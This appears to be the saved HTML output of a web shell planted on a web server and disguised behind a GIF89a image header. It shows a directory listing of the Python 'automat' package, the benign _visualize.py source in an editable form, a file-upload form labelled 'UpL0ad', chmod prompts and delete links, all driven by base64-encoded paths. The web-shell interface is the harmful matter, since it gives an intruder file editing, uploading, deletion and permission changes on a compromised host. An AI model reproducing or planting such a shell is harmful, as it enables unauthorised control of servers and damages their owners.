GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>_visualize.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ%3D&f=X3Zpc3VhbGl6ZS5weQ%3D%3D"><input name="f" value="_visualize.py"><textarea name="t">from __future__ import print_function
import argparse
import sys

import graphviz

from ._discover import findMachines


def _gvquote(s):
    return '&quot;{}&quot;'.format(s.replace('&quot;', r'\&quot;'))


def _gvhtml(s):
    return '&lt;{}&gt;'.format(s)


def elementMaker(name, *children, **attrs):
    &quot;&quot;&quot;
    Construct a string from the HTML element description.
    &quot;&quot;&quot;
    formattedAttrs = ' '.join('{}={}'.format(key, _gvquote(str(value)))
                              for key, value in sorted(attrs.items()))
    formattedChildren = ''.join(children)
    return u'&lt;{name} {attrs}&gt;{children}&lt;/{name}&gt;'.format(
        name=name,
        attrs=formattedAttrs,
        children=formattedChildren)


def tableMaker(inputLabel, outputLabels, port, _E=elementMaker):
    &quot;&quot;&quot;
    Construct an HTML table to label a state transition.
    &quot;&quot;&quot;
    colspan = {}
    if outputLabels:
        colspan['colspan'] = str(len(outputLabels))

    inputLabelCell = _E(&quot;td&quot;,
                        _E(&quot;font&quot;,
                           inputLabel,
                           face=&quot;menlo-italic&quot;),
                        color=&quot;purple&quot;,
                        port=port,
                        **colspan)

    pointSize = {&quot;point-size&quot;: &quot;9&quot;}
    outputLabelCells = [_E(&quot;td&quot;,
                           _E(&quot;font&quot;,
                              outputLabel,
                              **pointSize),
                           color=&quot;pink&quot;)
                        for outputLabel in outputLabels]

    rows = [_E(&quot;tr&quot;, inputLabelCell)]

    if outputLabels:
        rows.append(_E(&quot;tr&quot;, *outputLabelCells))

    return _E(&quot;table&quot;, *rows)


def makeDigraph(automaton, inputAsString=repr,
                outputAsString=repr,
                stateAsString=repr):
    &quot;&quot;&quot;
    Produce a L{graphviz.Digraph} object from an automaton.
    &quot;&quot;&quot;
    digraph = graphviz.Digraph(graph_attr={'pack': 'true',
                                           'dpi': '100'},
                               node_attr={'fontname': 'Menlo'},
                               edge_attr={'fontname': 'Menlo'})

    for state in automaton.states():
        if state is automaton.initialState:
            stateShape = &quot;bold&quot;
            fontName = &quot;Menlo-Bold&quot;
        else:
            stateShape = &quot;&quot;
            fontName = &quot;Menlo&quot;
        digraph.node(stateAsString(state),
                     fontame=fontName,
                     shape=&quot;ellipse&quot;,
                     style=stateShape,
                     color=&quot;blue&quot;)
    for n, eachTransition in enumerate(automaton.allTransitions()):
        inState, inputSymbol, outState, outputSymbols = eachTransition
        thisTransition = &quot;t{}&quot;.format(n)
        inputLabel = inputAsString(inputSymbol)

        port = &quot;tableport&quot;
        table = tableMaker(inputLabel, [outputAsString(outputSymbol)
                                        for outputSymbol in outputSymbols],
                           port=port)

        digraph.node(thisTransition,
                     label=_gvhtml(table), margin=&quot;0.2&quot;, shape=&quot;none&quot;)

        digraph.edge(stateAsString(inState),
                     '{}:{}:w'.format(thisTransition, port),
                     arrowhead=&quot;none&quot;)
        digraph.edge('{}:{}:e'.format(thisTransition, port),
                     stateAsString(outState))

    return digraph


def tool(_progname=sys.argv[0],
         _argv=sys.argv[1:],
         _syspath=sys.path,
         _findMachines=findMachines,
         _print=print):
    &quot;&quot;&quot;
    Entry point for command line utility.
    &quot;&quot;&quot;

    DESCRIPTION = &quot;&quot;&quot;
    Visualize automat.MethodicalMachines as graphviz graphs.
    &quot;&quot;&quot;
    EPILOG = &quot;&quot;&quot;
    You must have the graphviz tool suite installed.  Please visit
    http://www.graphviz.org for more information.
    &quot;&quot;&quot;
    if _syspath[0]:
        _syspath.insert(0, '')
    argumentParser = argparse.ArgumentParser(
        prog=_progname,
        description=DESCRIPTION,
        epilog=EPILOG)
    argumentParser.add_argument('fqpn',
                                help=&quot;A Fully Qualified Path name&quot;
                                &quot; representing where to find machines.&quot;)
    argumentParser.add_argument('--quiet', '-q',
                                help=&quot;suppress output&quot;,
                                default=False,
                                action=&quot;store_true&quot;)
    argumentParser.add_argument('--dot-directory', '-d',
                                help=&quot;Where to write out .dot files.&quot;,
                                default=&quot;.automat_visualize&quot;)
    argumentParser.add_argument('--image-directory', '-i',
                                help=&quot;Where to write out image files.&quot;,
                                default=&quot;.automat_visualize&quot;)
    argumentParser.add_argument('--image-type', '-t',
                                help=&quot;The image format.&quot;,
                                choices=graphviz.FORMATS,
                                default='png')
    argumentParser.add_argument('--view', '-v',
                                help=&quot;View rendered graphs with&quot;
                                &quot; default image viewer&quot;,
                                default=False,
                                action=&quot;store_true&quot;)
    args = argumentParser.parse_args(_argv)

    explicitlySaveDot = (args.dot_directory
                         and (not args.image_directory
                              or args.image_directory != args.dot_directory))
    if args.quiet:
        def _print(*args):
            pass

    for fqpn, machine in _findMachines(args.fqpn):
        _print(fqpn, '...discovered')

        digraph = machine.asDigraph()

        if explicitlySaveDot:
            digraph.save(filename=&quot;{}.dot&quot;.format(fqpn),
                         directory=args.dot_directory)
            _print(fqpn, &quot;...wrote dot into&quot;, args.dot_directory)

        if args.image_directory:
            deleteDot = not args.dot_directory or explicitlySaveDot
            digraph.format = args.image_type
            digraph.render(filename=&quot;{}.dot&quot;.format(fqpn),
                           directory=args.image_directory,
                           view=args.view,
                           cleanup=deleteDot)
            if deleteDot:
                msg = &quot;...wrote image into&quot;
            else:
                msg = &quot;...wrote image and dot into&quot;
            _print(fqpn, msg, args.image_directory)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/automat<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2Vz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>169</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&x=X2NvcmUucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X2NvcmUucHk="/>_core.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X2NvcmUucHk=&c=`+btoa(c):0" value="0644"></td><td>4819</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&x=X2Rpc2NvdmVyLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X2Rpc2NvdmVyLnB5"/>_discover.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X2Rpc2NvdmVyLnB5&c=`+btoa(c):0" value="0644"></td><td>4367</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&x=X2ludHJvc3BlY3Rpb24ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X2ludHJvc3BlY3Rpb24ucHk="/>_introspection.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X2ludHJvc3BlY3Rpb24ucHk=&c=`+btoa(c):0" value="0644"></td><td>1385</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&x=X21ldGhvZGljYWwucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X21ldGhvZGljYWwucHk="/>_methodical.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X21ldGhvZGljYWwucHk=&c=`+btoa(c):0" value="0644"></td><td>15837</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQvX3Rlc3Q="/>_test</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X3Rlc3Q=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&x=X3Zpc3VhbGl6ZS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X3Zpc3VhbGl6ZS5weQ=="/>_visualize.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2F1dG9tYXQ=&f=X3Zpc3VhbGl6ZS5weQ==&c=`+btoa(c):0" value="0644"></td><td>6335</td></tr></table>